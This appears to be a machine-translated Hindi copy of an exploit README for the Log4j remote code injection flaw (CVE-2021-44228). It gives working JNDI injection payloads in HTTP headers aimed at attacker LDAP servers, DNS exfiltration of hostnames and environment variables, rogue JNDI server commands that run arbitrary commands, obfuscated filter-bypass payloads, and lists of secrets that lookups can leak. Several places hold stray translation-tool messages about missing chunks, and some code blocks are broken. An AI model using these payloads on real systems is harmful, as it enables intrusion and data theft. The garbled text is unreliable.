CVE-2021-44228 Log4j में रिमोट कोड इंजेक्शन

https://twitter.com/jas502n/status/1468946197629272066

SpringBoot-pom.xml

डिफ़ॉल्ट उपयोग :``` xml org.springframework.boot spring-boot-starter-web

**mvn dependency:tree**```java
[INFO] |  |  +- org.springframework.boot:spring-boot-starter-logging:jar:2.6.1:compile
[INFO] |  |  |  +- ch.qos.logback:logback-classic:jar:1.2.7:compile
[INFO] |  |  |  |  \- ch.qos.logback:logback-core:jar:1.2.7:compile
[INFO] |  |  |  +- org.apache.logging.log4j:log4j-to-slf4j:jar:2.14.1:compile
[INFO] |  |  |  \- org.slf4j:jul-to-slf4j:jar:1.7.32:compile  
[INFO] |  |  \- org.slf4j:slf4j-api:jar:1.7.32:compile

pom.xml बदलें```xml

org.springframework.boot spring-boot-starter-web org.springframework.boot spring-boot-starter-logging org.apache.logging.log4j log4j-core 2.14.1 ``` ## भेद्यता वातावरण का उपयोग

उपयोग: ``` $ java -jar log4jRCE-0.0.1-SNAPSHOT.jar

[*] CVE-2021-44228 Log4j2 Remote Code Injection

. ____ _ __ _ _ /\ / ' __ _ () __ __ _ \ \ \
( ( )__ | '_ | '| | ' / ` | \ \ \
\/ __)| |)| | | | | || (| | ) ) ) ) ' || .__|| ||| |_, | / / / / =========||==============|/=//// :: Spring Boot :: (v2.6.1)

2021-12-10 16:18:43.099 WARN 48536 --- [ main] o.s.boot.StartupInfoLogger : InetAddress.getLocalHost().getHostName() took 5005 milliseconds to respond. Please verify your network configuration (macOS machines may need to add entries to /etc/hosts). 2021-12-10 16:18:48.108 INFO 48536 --- [ main] c.example.log4jrce.Log4jRceApplication : Starting Log4jRceApplication v0.0.1-SNAPSHOT using Java 1.8.0_60 on JMacBookPro.local with PID 48536 (/Users/jas502n/IdeaProjects/log4jRCE/target/log4jRCE-0.0.1-SNAPSHOT.jar started by root in log4jRCE/target) 2021-12-10 16:18:48.109 INFO 48536 --- [ main] c.example.log4jrce.Log4jRceApplication : No active profile set, falling back to default profiles: default 2021-12-10 16:18:48.890 INFO 48536 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat initialized with port(s): 8080 (http) 2021-12-10 16:18:48.902 INFO 48536 --- [ main] o.apache.catalina.core.StandardService : Starting service [Tomcat] 2021-12-10 16:18:48.902 INFO 48536 --- [ main] org.apache.catalina.core.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.55] 2021-12-10 16:18:48.957 INFO 48536 --- [ main] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring embedded WebApplicationContext

#### Burpsuite Send
![image](https://assets.kitploit.com/production/public/readmes/27364/c8f80dfb5b50445abf55c366292513968c627410ab802b186adf16fa3aca6fa6.png)```
POST /login HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

data=xxxxx

No input content was provided for chunk 11. Please supply the Chinese text to translate.``` HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Length: 15 Date: Fri, 10 Dec 2021 08:38:50 GMT Connection: close

log4j2 success!

#### User-Agent Injection

![image](https://assets.kitploit.com/production/public/readmes/27364/eeedb546d688e4818c31ce602cf4a7adc2185b0c2c6358f94245d5a4f0d768a8.png)```bash
GET / HTTP/1.1
Host: 192.168.3.105:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)${jndi:ldap://192.168.3.105:1389/o=reference} AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.3.105:18080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

HTTP/1.1 200 
Content-Type: image/avif;charset=UTF-8
Content-Length: 26
Date: Tue, 14 Dec 2021 13:08:14 GMT
Connection: close

User-Agent Inject Success!

उदाहरण: JDK jdk8-202

```java User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)${jndi:ldap://192.168.3.105:1389/o=tomcat} AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

2021-12-14 21:18:08.810 INFO 50619 --- [io-18080-exec-2] c.e.l.Log4jRceApplication : >>> Mozilla/5.0 (Windows NT 10.0; Win64; x64)javax.el.ELProcessor@7d97214f AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)${jndi:ldap://192.168.3.105:1389/o=groovy} AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

2021-12-14 21:19:34.516 INFO 50619 --- [io-18080-exec-3] c.e.l.Log4jRceApplication : >>> Mozilla/5.0 (Windows NT 10.0; Win64; x64)groovy.lang.GroovyShell@383ad44e AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

![image](https://assets.kitploit.com/production/public/readmes/27364/2a3d328707c5306328060f8e845b6f23ac7f6dce228cd7be927ffa6f9b7cbdf4.png)


### डिफ़ॉल्ट प्रॉपर्टीज़ द्वारा log4j2 टिप्स ठीक करें

डिफ़ॉल्ट Map **hostName** के मान से पहले से भरा होता है, जो वर्तमान सिस्टम का होस्टनाम या IP पता है,

संदर्भ दस्तावेज़: https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-configuration.html

`org.apache.logging.log4j.core.LoggerContext#setConfiguration`

![image](https://assets.kitploit.com/production/public/readmes/27364/9fb94039e50269ee8eab64ca5aa55f4c49b49c3866f9e70c7a07f99e2d724ec7.png)
![image](https://assets.kitploit.com/production/public/readmes/27364/27d44e1476aa42e54c0ac15b81e22fa90368074182719725006e222da41a7019.png)```
${hostName}
${env:COMPUTERNAME}
${env:USERDOMAIN}
${env:LOGONSERVER}

उदाहरण:``` // log4j2 Default，For（Windows、Linux、macOS....） ${jndi:dns://${hostName}.iwk5r1.dnslog.cn}

// Equivalent to windows command（set|findstr your-hostname） ${jndi:dns://${env:COMPUTERNAME}.iwk5r1.dnslog.cn} ${jndi:dns://${env:USERDOMAIN}.iwk5r1.dnslog.cn}

![image](https://assets.kitploit.com/production/public/readmes/27364/d5d12da6717eb79ff6a0e087da0f753f7db00fdba4d9f78206bba3a74ee1f30c.png)


### configLocation के लिए log4j

log4j: Log4j कॉन्फ़िगरेशन प्रॉपर्टी।

अभिव्यक्तियाँ `${log4j:configLocation}` और `${log4j:configParentLocation}` क्रमशः `log4j कॉन्फ़िगरेशन फ़ाइल` और उसके `पैरेंट फ़ोल्डर` का `पूर्ण पथ` प्रदान करती हैं।```
${log4j:configLocation}

/xxx/apache-tomcat/webapps/xxxx/WEB-INF/classes/log4j2.xml

I don't see any source text in your message. The input after "INPUT:" appears to be empty.

Please provide the Chinese (zh) Markdown content for chunk 23 of 59, and I'll translate it into Hindi (hi) following the chunk-specific rules.``` ${log4j:configParentLocation} /xxx/apache-tomcat/webapps/xxxx/WEB-INF/classes/

### JNDIExploit-उपकरण

01-feihong-cs/JNDIExploit

https://github.com/feihong-cs/JNDIExploit

उपयोग:```java

$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip -p 8082                                                                                                                                         
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8082...

02-welk1n/JNDI-Injection-Exploit

https://github.com/welk1n/JNDI-Injection-Exploit

उपयोग:```java $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator" -A vip_ip [ADDRESS] >> vip_ip [COMMAND] >> open -a calculator ----------------------------JNDI Links---------------------------- Target environment(Build in JDK 1.7 whose trustURLCodebase is true): rmi://vip_ip:1099/x6sufy ldap://vip_ip:1389/x6sufy Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): rmi://vip_ip:1099/gh4u9h Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://vip_ip:1099/kwoimv ldap://vip_ip:1389/kwoimv

03-veracode-research/rogue-jndi

https://github.com/veracode-research/rogue-jndi

उपयोग:```java

$ java -jar target/RogueJndi-1.1.jar --command "calc" --hostname "vip_ip"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://vip_ip:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://vip_ip:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://vip_ip:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://vip_ip:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://vip_ip:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://vip_ip:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://vip_ip:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://vip_ip:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

04-welk1n/JNDI-Injection-Bypass

https://github.com/welk1n/JNDI-Injection-Bypass

उपयोग:```bash $ java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer vip_ip
Creating evil RMI registry on port 1097

No input content was provided for this chunk, so there is nothing to translate. Please supply the Chinese text for chunk 33/59.```xml
// Expression Language 3.0.0 API-Apr, 2013

<!-- https://mvnrepository.com/artifact/javax.el/javax.el-api -->
<dependency>
    <groupId>javax.el</groupId>
    <artifactId>javax.el-api</artifactId>
    <version>3.0.0</version>
</dependency>

// Apache Groovy 3.0.0: A powerful, dynamic language for the JVM

<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy -->
<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>3.0.0</version>
</dependency>

${lower:xxx} या ${upper:xxx} या {::-n} का उपयोग करके Waf को बायपास करें

"ı".toUpperCase() का उपयोग करके I को बायपास करें >>> JNDI >> ${JND${upper:ı}

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

अन्य:``` [>] jndi inject model start... [+] Raw payload:

${jndi:dns://${hostName}.b2hp8r.dnslog.cn}

[+] {[upper|lower]:x} Random obfuscate:

${${upper:j}nd${lower:i}:${lower:d}${lower:n}s://${h${lower:o}st${upper:N}ame}.b2${lower:h}p8r.${lower:d}nsl${lower:o}${lower:g}${lower:.}cn}

${${upper:j}nd${lower:i}:${lower:d}${lower:n}s://${h${lower:o}st${upper:n}ame}.b2${lower:h}p8r.${lower:d}nsl${lower:o}${lower:g}${lower:.}cn}

[+] {[upper|lower]:x} all the obfuscate:

${${upper:j}${lower:n}${lower:d}${lower:i}${lower::}${lower:d}${lower:n}${lower:s}${lower::}${lower:/}${lower:/}${${lower:h}${lower:o}${lower:s}${lower:t}${upper:N}${lower:a}${lower:m}${lower:e}}${lower:.}${lower:b}${lower:2}${lower:h}${lower:p}${lower:8}${lower:r}${lower:.}${lower:d}${lower:n}${lower:s}${lower:l}${lower:o}${lower:g}${lower:.}${lower:c}${lower:n}} ${${upper:j}${lower:n}${lower:d}${lower:i}${lower::}${lower:d}${lower:n}${lower:s}${lower::}${lower:/}${lower:/}${${lower:h}${lower:o}${lower:s}${lower:t}${upper:n}${lower:a}${lower:m}${lower:e}}${lower:.}${lower:b}${lower:2}${lower:h}${lower:p}${lower:8}${lower:r}${lower:.}${lower:d}${lower:n}${lower:s}${lower:l}${lower:o}${lower:g}${lower:.}${lower:c}${lower:n}}

[+] {::-n} random obfuscate:

${j${zG:xuc:-n}d${wXuN:-i}:dns:/${emWDv:Jdq:-/}${${RfdM:txf:-h}o${O:atnIDv:-s}${O:YM:sdm:fP:DPYEXx:-t}${fiShn:P:NA:-N}${v:h:rLVoL:-a}me}.b2${Ld:Tnzo:-h}p${cCC:-8}r${aoq:FF:-.}dnslog.${GL:-c}n}

[+] {::-n} all the obfuscate:

${${ogEqGS:RDg:fUxz:-j}${ldB:E:N:PG:-n}${VzvPou:-d}${lr:oRfT:-i}${nw:-:}${j:-d}${EcFIy:YQUG:zKWwP:jNq:DjGp:-n}${sjydOt:S:eCS:QQ:xRDd:-s}${nLj:F:TptB:-:}${WqfK:rWy:YVXz:-/}${jyvggg:wrwT:hp:-/}${${Pw:-h}${R:-o}${Y:bhV:-s}${sNr:Oiv:RBRrv:ISrLbB:rCBSw:-t}${h:JeAg:-N}${Se:L:dxEa:Ssx:-a}${HYtfSz:AInf:gHTSJ:LkD:Wxqq:-m}${uxdytq:-e}}${EBxUv:wf:UmUc:dIDP:-.}${k❌Fq:muQmwT:-b}${XioYP:Qc:-2}${Gnr:NY:-h}${YhRuP:tIAVJ:W:-p}${veLxt:pVKX:MPGdO:lNo:LXWtN:-8}${NqPAoG:lhEirn:QhJOS:QIMJ:-r}${wx:-.}${H:wA:UTu:s:TwBzM:-d}${VGlR:CXlxMV:PSJ:-n}${b:wMDG:wn:PjYam:-s}${Nmdg:y:sNnW:-l}${rF:GRmC:-o}${RkV:QRb:-g}${LDBWIn:dMxv:-.}${pNgiK:az:arNf:-c}${OgV:XPTn:-n}}

[=] jndi inject model stop

https://github.com/woodpecker-appstore/log4j-payload-generator

![image](https://assets.kitploit.com/production/public/readmes/27364/81f17b5d9f29327be04b968ec17bc0804ac4e40a062a57fc4664371ff838c055.png)


#### log4j-::

उदाहरण:```

${::-n}
2021-12-14 11:08:49.287 ERROR 31355 --- [io-18080-exec-4] c.e.l.Log4jRceApplication : >>> n

${xxx::-n}
2021-12-14 11:07:24.785 ERROR 31355 --- [io-18080-exec-1] c.e.l.Log4jRceApplication : >>> n

${:xxx:-n}
2021-12-14 11:08:18.012 ERROR 31355 --- [io-18080-exec-3] c.e.l.Log4jRceApplication : >>> n

${:-n}
2021-12-14 11:11:10.135 ERROR 31355 --- [io-18080-exec-3] c.e.l.Log4jRceApplication : >>> n

${:-jndi}
2021-12-14 11:10:43.420 ERROR 31355 --- [io-18080-exec-1] c.e.l.Log4jRceApplication : >>> jndi

log4j-lower```java

this.strLookupMap.put("lower", new LowerLookup());

**org.apache.logging.log4j.core.lookup.LowerLookup#lookup(org.apache.logging.log4j.core.LogEvent, java.lang.String)**```java
package org.apache.logging.log4j.core.lookup;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.plugins.Plugin;
@Plugin(
    name = "lower",
    category = "Lookup"
)
public class LowerLookup implements StrLookup {
    public LowerLookup() {
    }
    public String lookup(final String key) {
        return key != null ? key.toLowerCase() : null; // toLowerCase()
    }
    public String lookup(final LogEvent event, final String key) {
        return this.lookup(key);
    }
}

उदाहरण:```java data=${lower:JNDI} 2021-12-14 10:05:12.051 ERROR 31355 --- [io-18080-exec-6] c.e.l.Log4jRceApplication : >>> jndi

#### log4j-upper```java
this.strLookupMap.put("upper", new UpperLookup());

org.apache.logging.log4j.core.lookup.UpperLookup#lookup(org.apache.logging.log4j.core.LogEvent, java.lang.String)```java package org.apache.logging.log4j.core.lookup; import org.apache.logging.log4j.core.LogEvent; import org.apache.logging.log4j.core.config.plugins.Plugin; @Plugin( name = "upper", category = "Lookup" ) public class UpperLookup implements StrLookup { public UpperLookup() { } public String lookup(final String key) { return key != null ? key.toUpperCase() : null; } public String lookup(final LogEvent event, final String key) { return this.lookup(key); } }

उदाहरण:```java
data=${upper:jndi}
2021-12-14 10:08:29.286 ERROR 31355 --- [io-18080-exec-8] c.e.l.Log4jRceApplication                : >>> JNDI

log4j-java

org.apache.logging.log4j.core.lookup.JavaLookup```java

public String getHardware() {
    return "processors: " + Runtime.getRuntime().availableProcessors() + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model") + this.getSystemProperty(", instruction sets: ", "sun.cpu.isalist");
}

public String getLocale() {
    return "default locale: " + Locale.getDefault() + ", platform encoding: " + this.getSystemProperty("file.encoding");
}

public String getOperatingSystem() {
    return this.getSystemProperty("os.name") + " " + this.getSystemProperty("os.version") + this.getSystemProperty(" ", "sun.os.patch.level") + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model");
}

public String getRuntime() {
    return this.getSystemProperty("java.runtime.name") + " (build " + this.getSystemProperty("java.runtime.version") + ") from " + this.getSystemProperty("java.vendor");
}

private String getSystemProperty(final String name) {
    return this.spLookup.lookup(name);
}

public String getVirtualMachine() {
    return this.getSystemProperty("java.vm.name") + " (build " + this.getSystemProperty("java.vm.version") + ", " + this.getSystemProperty("java.vm.info") + ")";
}

##### log4j2-env

###### Linux:```properties
CLASSPATH,HOME,JAVA_HOME,LANG,LC_TERMINAL,LC_TERMINAL_VERSION,LESS,LOGNAME,LSCOLORS,LS_COLORS,MAIL,NLSPATH,OLDPWD,PAGER,PATH,PWD,SHELL,SHLVL,SSH_CLIENT,SSH_CONNECTION,SSH_TTY,TERM,USER,XDG_RUNTIME_DIR,XDG_SESSION_ID,XFILESEARCHPATH,ZSH,_

Windows:```properties

=E:,=ExitCode,A8_HOME,A8_ROOT_BIN,ALLUSERSPROFILE,APPDATA,CATALINA_BASE,CATALINA_HOME,CATALINA_OPTS,CATALINA_TMPDIR,CLASSPATH,CLIENTNAME,COMPUTERNAME,ComSpec,CommonProgramFiles,CommonProgramFiles(x86),CommonProgramW6432,FP_NO_HOST_CHECK,HOMEDRIVE,HOMEPATH,JRE_HOME,Java_Home,LOCALAPPDATA,LOGONSERVER,NUMBER_OF_PROCESSORS,OS,PATHEXT,PROCESSOR_ARCHITECTURE,PROCESSOR_IDENTIFIER,PROCESSOR_LEVEL,PROCESSOR_REVISION,PROMPT,PSModulePath,PUBLIC,Path,ProgramData,ProgramFiles,ProgramFiles(x86),ProgramW6432,SESSIONNAME,SystemDrive,SystemRoot,TEMP,TMP,ThisExitCode,USERDOMAIN,USERNAME,USERPROFILE,WORK_PATH,windir,windows_tracing_flags,windows_tracing_logfile

| id   | उपयोग |
| ---- | ----- |
|1|${env:A8_HOME}|
|2|${env:A8_ROOT_BIN}|
|3|${env:ALLUSERSPROFILE}|
|4|${env:APPDATA}|
|5|${env:CATALINA_BASE}|
|6|${env:CATALINA_HOME}|
|7|${env:CATALINA_OPTS}|
|8|${env:CATALINA_TMPDIR}|
|9|${env:CLASSPATH}|
|10|${env:CLIENTNAME}|
|11|${env:COMPUTERNAME}|
|12|${env:ComSpec}|
|13|${env:CommonProgramFiles}|
|14|${env:CommonProgramFiles(x86)}|
|15|${env:CommonProgramW6432}|
|16|${env:FP_NO_HOST_CHECK}|
|17|${env:HOMEDRIVE}|
|18|${env:HOMEPATH}|
|19|${env:JRE_HOME}|
|20|${env:Java_Home}|
|21|${env:LOCALAPPDATA}|
|22|${env:LOGONSERVER}|
|23|${env:NUMBER_OF_PROCESSORS}|
|24|${env:OS}|
|25|${env:PATHEXT}|
|26|${env:PROCESSOR_ARCHITECTURE}|
|27|${env:PROCESSOR_IDENTIFIER}|
|28|${env:PROCESSOR_LEVEL}|
|29|${env:PROCESSOR_REVISION}|
|30|${env:PROMPT}|
|31|${env:PSModulePath}|
|32|${env:PUBLIC}|
|33|${env:Path}|
|34|${env:ProgramData}|
|35|${env:ProgramFiles}|
|36|${env:ProgramFiles(x86)}|
|37|${env:ProgramW6432}|
|38|${env:SESSIONNAME}|
|39|${env:SystemDrive}|
|40|${env:SystemRoot}|
|41|${env:TEMP}|
|42|${env:TMP}|
|43|${env:ThisExitCode}|
|44|${env:USERDOMAIN}|
|45|${env:USERNAME}|
|46|${env:USERPROFILE}|
|47|${env:WORK_PATH}|
|48|${env:windir}|
|49|${env:windows_tracing_flags}|
|50|${env:windows_tracing_logfile}|

###### Mac:```properties
ANT_HOME,COMMAND_MODE,GOBIN,GOPATH,GOROOT,GRADLE_HOME,HOME,HOMEBREW_BOTTLE_DOMAIN,JAVA_HOME,JAVA_MAIN_CLASS_3651,LC_CTYPE,LESS,LOGNAME,LSCOLORS,LaunchInstanceID,OLDPWD,PAGER,PATH,PWD,SECURITYSESSIONID,SHELL,SSH_AUTH_SOCK,TIME_STYLE,TMPDIR,USER,VERSIONER_PYTHON_VERSION,XPC_FLAGS,XPC_SERVICE_NAME,ZSH,__CF_USER_TEXT_ENCODING

1	${java:version}	getSystemProperty("java.version")
2	${java:runtime}	getRuntime()
3	${java:vm}	getVirtualMachine()
4	${java:os}	getOperatingSystem()
5	${java:hw}	getHardware()
6	${java:locale}	getLocale()

1	${env:CLASSPATH}
2	${env:HOME}
3	${env:JAVA_HOME}
4	${env:LANG}
5	${env:LC_TERMINAL}
6	${env:LC_TERMINAL_VERSION}
7	${env:LESS}
8	${env:LOGNAME}
9	${env:LSCOLORS}
10	${env:LS_COLORS}
11	${env:MAIL}
12	${env:NLSPATH}
13	${env:OLDPWD}
14	${env:PAGER}
15	${env:PATH}
16	${env:PWD}
17	${env:SHELL}
18	${env:SHLVL}
19	${env:SSH_CLIENT}
20	${env:SSH_CONNECTION}
21	${env:SSH_TTY}
22	${env:TERM}
23	${env:USER}
24	${env:XDG_RUNTIME_DIR}
25	${env:XDG_SESSION_ID}
26	${env:XFILESEARCHPATH}
27	${env:ZSH}

1	${env:ANT_HOME}
2	${env:COMMAND_MODE}
3	${env:GOBIN}
4	${env:GOPATH}
5	${env:GOROOT}
6	${env:GRADLE_HOME}
7	${env:HOME}
8	${env:HOMEBREW_BOTTLE_DOMAIN}
9	${env:JAVA_HOME}
10	${env:JAVA_MAIN_CLASS_3651}
11	${env:LC_CTYPE}
12	${env:LESS}
13	${env:LOGNAME}
14	${env:LSCOLORS}
15	${env:LaunchInstanceID}
16	${env:OLDPWD}
17	${env:PAGER}
18	${env:PATH}
19	${env:PWD}
20	${env:SECURITYSESSIONID}
21	${env:SHELL}
22	${env:SSH_AUTH_SOCK}
23	${env:TIME_STYLE}
24	${env:TMPDIR}
25	${env:USER}
26	${env:VERSIONER_PYTHON_VERSION}
27	${env:XPC_FLAGS}
28	${env:XPC_SERVICE_NAME}
29	${env:ZSH}

1	${sys:awt.toolkit}
2	${sys:file.encoding}
3	${sys:file.encoding.pkg}
4	${sys:file.separator}
5	${sys:java.awt.graphicsenv}
6	${sys:java.awt.printerjob}
7	${sys:java.class.path}
8	${sys:java.class.version}
9	${sys:java.endorsed.dirs}
10	${sys:java.ext.dirs}
11	${sys:java.home}
12	${sys:java.io.tmpdir}
13	${sys:java.library.path}
14	${sys:java.runtime.name}
15	${sys:java.runtime.version}
16	${sys:java.specification.name}
17	${sys:java.specification.vendor}
18	${sys:java.specification.version}
19	${sys:java.vendor}
20	${sys:java.vendor.url}
21	${sys:java.vendor.url.bug}
22	${sys:java.version}
23	${sys:java.vm.info}
24	${sys:java.vm.name}
25	${sys:java.vm.specification.name}
26	${sys:java.vm.specification.vendor}
27	${sys:java.vm.specification.version}
28	${sys:java.vm.vendor}
29	${sys:java.vm.version}
30	${sys:line.separator}
31	${sys:os.arch}
32	${sys:os.name}
33	${sys:os.version}
34	${sys:path.separator}
35	${sys:sun.arch.data.model}
36	${sys:sun.boot.class.path}
37	${sys:sun.boot.library.path}
38	${sys:sun.cpu.endian}
39	${sys:sun.cpu.isalist}
40	${sys:sun.desktop}
41	${sys:sun.io.unicode.encoding}
42	${sys:sun.java.command}
43	${sys:sun.java.launcher}
44	${sys:sun.jnu.encoding}
45	${sys:sun.management.compiler}
46	${sys:sun.os.patch.level}
47	${sys:sun.stderr.encoding}
48	${sys:user.country}
49	${sys:user.dir}
50	${sys:user.home}
51	${sys:user.language}
52	${sys:user.name}
53	${sys:user.script}
54	${sys:user.timezone}
55	${sys:user.variant}

Log4j2-CVE-2021-44228

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